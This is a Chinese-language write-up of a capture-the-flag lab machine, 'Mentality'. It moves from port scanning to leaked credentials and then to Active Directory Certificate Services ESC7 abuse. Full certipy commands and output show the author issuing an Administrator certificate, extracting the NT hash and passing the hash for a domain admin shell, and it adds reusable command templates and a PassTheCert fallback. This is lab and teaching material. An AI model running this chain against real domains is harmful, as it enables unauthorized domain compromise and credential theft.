The Hackers Labs-Mentallity

信息收集

┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop/Tool/fscan/fscanplus]
└─# ./fscanPlus_amd64 -h 192.168.69.5
start infoscan
192.168.69.5:80 open
192.168.69.5:21 open
192.168.69.5:8080 open
192.168.69.5:445 open
192.168.69.5:139 open
192.168.69.5:135 open
192.168.69.5:88 open
[*] alive ports len is: 7
start vulscan
Read failed: EOF
[*] NetInfo
[*]192.168.69.5
   [->]WIN-9FQTT7GPAVK
   [->]192.168.69.5
   [->]192.168.56.28
[*] NetBios  192.168.69.5    [+] DC:MENTALITY\WIN-9FQTT7GPAVK Windows Version 10.0 Build 26100
[*] WebTitle http://192.168.69.5       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://192.168.69.5:8080  code:200 len:8477   title:Mentality · Innovating Beyond Limits
已完成 7/7
[*] 扫描结束,耗时: 5.0500329s

目录扫描发现有一个登录框

前端源码泄露信息

查看前端源码有一个js

http://192.168.69.5:8080/Admin/script.js

function validateForm() {
    const u = document.getElementById("username").value;
    const p = document.getElementById("password").value;
    const errorMessage = document.getElementById("errorMessage");

    if (u === "admin" && p === "adminpass123") {
        window.location.href = "dashboard.html";
        return false;
    }
    errorMessage.textContent = "Invalid Username Or Password!";
    return false;
}

http://192.168.69.5:8080/admin/dashboard.html

得到

ZnRwdXNlcjpTdXBlclNlY3JldDEyMyQ=

Base64解码

ftpuser:SuperSecret123$

连接上去,发现里面有三个文件

flag.txt是userflag

ad_hc_mentality_htl.html是 PingCastle 生成的 Active Directory 安全评估报告。

域名: mentality.thl

域控: WIN-9FQTT7GPAVK

泄露的凭据

来源

用户

密码

GPO copy_backup (groups.xml)

svcapp1

Hola1234$

发现的用户账户

用户

创建时间

最后登录

问题

Administrator

2025-07-17

2025-07-17 06:54:17Z

未加入 Protected Users,可被委派

ftpuser

2025-07-17

从未登录

密码永不过期,PASSWD_NOTREQD

svcapp1

2025-07-17

2025-07-17

GPO 中泄露明文密码

GPO 凭据泄露 - copy_backup GPO 的 groups.xml 中存储了 svcapp1 的明文密码,任何域用户可读取

Administrator 未受保护 - 未设置"此账户敏感,不能被委派"标志,存在 Kerberos 委派攻击风险

ftpuser 配置不当 - 密码永不过期且设置了 PASSWD_NOTREQD,可能是弱口令或空密码

Kerberos 配置薄弱 - AES 未完全启用(仍用 RC4),Kerberos Armoring 未启用

审计不完整 - PowerShell 审计和 DC 审计策略未完全配置

普通用户可添加计算机 - ms-DS-MachineAccountQuota 允许添加 10 台

验证凭据

┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop/Tool/fscan/fscanplus]
└─# nxc ldap 192.168.69.5 -u 'svcapp1' -p 'Hola1234$' --users
LDAP        192.168.69.5    389    WIN-9FQTT7GPAVK  [*] Windows 11 / Server 2025 Build 26100 (name:WIN-9FQTT7GPAVK) (domain:mentality.thl)
LDAP        192.168.69.5    389    WIN-9FQTT7GPAVK  [-] mentality.thl\svcapp1:Hola1234$ STATUS_PASSWORD_EXPIRED

密码修改

密码过期了,修改成1qaz@2WSX

┌──(root㉿Penetration)-[/tmp]
└─# smbpasswd -r 192.168.69.5 -U svcapp1
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user svcapp1 on 192.168.69.5.

ADCS-ESC7

┌──(root㉿Penetration)-[/tmp]
└─# certipy-ad find -u 'svcapp1' -p '1qaz@2WSX' -dc-ip 192.168.69.5 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 10 enabled certificate templates
[*] Trying to get CA configuration for 'mentality-WIN-9FQTT7GPAVK-CA' via CSRA
[*] Got CA configuration for 'mentality-WIN-9FQTT7GPAVK-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : mentality-WIN-9FQTT7GPAVK-CA
    DNS Name                            : WIN-9FQTT7GPAVK.mentality.thl
    Certificate Subject                 : CN=mentality-WIN-9FQTT7GPAVK-CA, DC=mentality, DC=thl
    Certificate Serial Number           : 52F256456C27B2834A8DCCF7EE745646
    Certificate Validity Start          : 2025-07-17 13:46:02+00:00
    Certificate Validity End            : 2045-07-17 13:56:02+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MENTALITY.THL\Administrators
      Access Rights
        Enroll                          : MENTALITY.THL\Authenticated Users
                                          MENTALITY.THL\svcapp1
        ManageCa                        : MENTALITY.THL\svcapp1
                                          MENTALITY.THL\Domain Admins
                                          MENTALITY.THL\Enterprise Admins
                                          MENTALITY.THL\Administrators
        ManageCertificates              : MENTALITY.THL\Domain Admins
                                          MENTALITY.THL\Enterprise Admins
                                          MENTALITY.THL\Administrators
    [!] Vulnerabilities
      ESC7                              : 'MENTALITY.THL\\svcapp1' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates

用户svcapp1拥有ManageCA权限,这意味着可以执行ESC7攻击。

ESC7 (Escalation 7) 是 Active Directory Certificate Services (ADCS) 中的一个权限配置漏洞,攻击者可以通过滥用证书颁发机构 (CA) 的管理权限来获取域管理员权限。主要涉及对证书颁发机构(CA)的两个关键权限:

权限

角色

作用

ManageCA

CA管理员

修改CA配置、添加/删除证书管理员、启用/禁用模板

ManageCertificates

证书管理员(Officer)

批准/拒绝待处理的证书请求

漏洞条件

当低权限用户拥有以下任一权限时,可能存在ESC7漏洞:

  • 拥有 ManageCA 权限(可以自行添加 ManageCertificates 权限)
  • 同时拥有 ManageCA 和 ManageCertificates 权限
域名: mentality.thl
DC IP: 192.168.69.5
CA名称: mentality-WIN-9FQTT7GPAVK-CA
攻击用户: svcapp1
密码: 1qaz@2WSX

添加 ManageCertificates 权限

利用 ManageCA 权限将自己添加为证书管理员:

┌──(root㉿Penetration)-[/tmp]
└─# certipy-ad ca -u 'svcapp1@mentality.thl' -p '1qaz@2WSX' -dc-ip 192.168.69.5 -ca 'mentality-WIN-9FQTT7GPAVK-CA' -add-officer svcapp1
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'svcapp1' on 'mentality-WIN-9FQTT7GPAVK-CA'

启用 SubCA 模板

┌──(root㉿Penetration)-[/tmp]
└─# certipy-ad ca -u 'svcapp1@mentality.thl' -p '1qaz@2WSX' -dc-ip 192.168.69.5 -ca 'mentality-WIN-9FQTT7GPAVK-CA' -enable-template 'SubCA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'mentality-WIN-9FQTT7GPAVK-CA'

请求 Administrator 证书

┌──(root㉿Penetration)-[/tmp]
└─# certipy-ad req -u 'svcapp1@mentality.thl' -p '1qaz@2WSX' -dc-ip 192.168.69.5 -ca 'mentality-WIN-9FQTT7GPAVK-CA' -template SubCA -upn Administrator@mentality.thl
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 5
Would you like to save the private key? (y/N) y
[*] Saved private key to 5.key
[-] Failed to request certificate

批准被拒绝的请求

┌──(root㉿Penetration)-[/tmp]
└─# certipy-ad ca -u 'svcapp1@mentality.thl' -p '1qaz@2WSX' -dc-ip 192.168.69.5 -ca 'mentality-WIN-9FQTT7GPAVK-CA' -issue-request 5
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

下载已批准的证书

┌──(root㉿Penetration)-[/tmp]
└─# certipy-ad req -u 'svcapp1@mentality.thl' -p '1qaz@2WSX' -dc-ip 192.168.69.5 -ca 'mentality-WIN-9FQTT7GPAVK-CA' -retrieve 5
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 5
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'Administrator@mentality.thl'
[*] Certificate has no object SID
[*] Loaded private key from '5.key'
[*] Saved certificate and private key to 'administrator.pfx'

使用证书获取 NTLM Hash

┌──(root㉿Penetration)-[/tmp]
└─# certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.69.5
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@mentality.thl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@mentality.thl': aad3b435b51404eeaad3b435b51404ee:058a4c99bab8b3d04a6bd959f95ce2b2

获取域管理员权限

┌──(root㉿Penetration)-[/tmp]
└─# evil-winrm -i 192.168.69.5 -u Administrator -H 058a4c99bab8b3d04a6bd959f95ce2b2

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami
mentality\administrator

攻击场景和常见问题

场景1:仅有 ManageCA 权限

攻击路径:

使用 ManageCA 添加 ManageCertificates 权限

启用 SubCA 模板

请求证书(会被拒绝)

自行批准请求

下载证书并认证

场景2:已有 ManageCertificates 权限

攻击路径:

找到需要 Manager Approval 的 ESC1 模板

请求证书(进入待批准状态)

自行批准请求

下载证书并认证

# 请求需要审批的模板
certipy-ad req -u '<USER>' -p '<PASSWORD>' -ca <CA> -template <ESC1_TEMPLATE> -upn Administrator@<DOMAIN>

# 批准请求
certipy-ad ca -u '<USER>' -p '<PASSWORD>' -ca <CA> -issue-request <ID>

# 下载证书
certipy-ad req -u '<USER>' -p '<PASSWORD>' -ca <CA> -retrieve <ID>

问题1:KDC_ERR_PADATA_TYPE_NOSUPP

原因: DC 不支持 PKINIT

解决方案: 使用 PassTheCert 获取 LDAP Shell

# 导出证书和私钥
certipy-ad cert -pfx administrator.pfx -nocert -out admin.key
certipy-ad cert -pfx administrator.pfx -nokey -out admin.crt

# 获取 LDAP Shell
python3 passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain mentality.thl -dc-ip 192.168.69.5

问题2:时间同步错误

# 同步时间后再认证
sudo ntpdate -s <DC_IP> && certipy-ad auth -pfx administrator.pfx

总结

本次渗透通过端口扫描发现8080端口Web应用,在前端JS源码中找到硬编码的管理员凭据,登录后获取Base64编码的FTP账号密码。连接FTP下载到PingCastle安全评估报告,从中发现GPO组策略泄露了svcapp1用户的明文密码。由于密码已过期,使用smbpasswd修改后成功验证凭据。

使用certipy-ad枚举ADCS发现svcapp1拥有CA的ManageCA权限,存在ESC7漏洞。ESC7的核心在于:ManageCA权限允许攻击者将自己添加为证书管理员(ManageCertificates),而证书管理员可以批准任何待处理的证书请求。攻击流程为:先添加officer权限,启用SubCA模板,然后以Administrator身份请求证书(会被拒绝但保留请求ID和私钥),接着用证书管理员权限批准该请求,最后下载证书并通过PKINIT认证获取Administrator的NTLM Hash,使用Pass-the-Hash登录域控完成提权。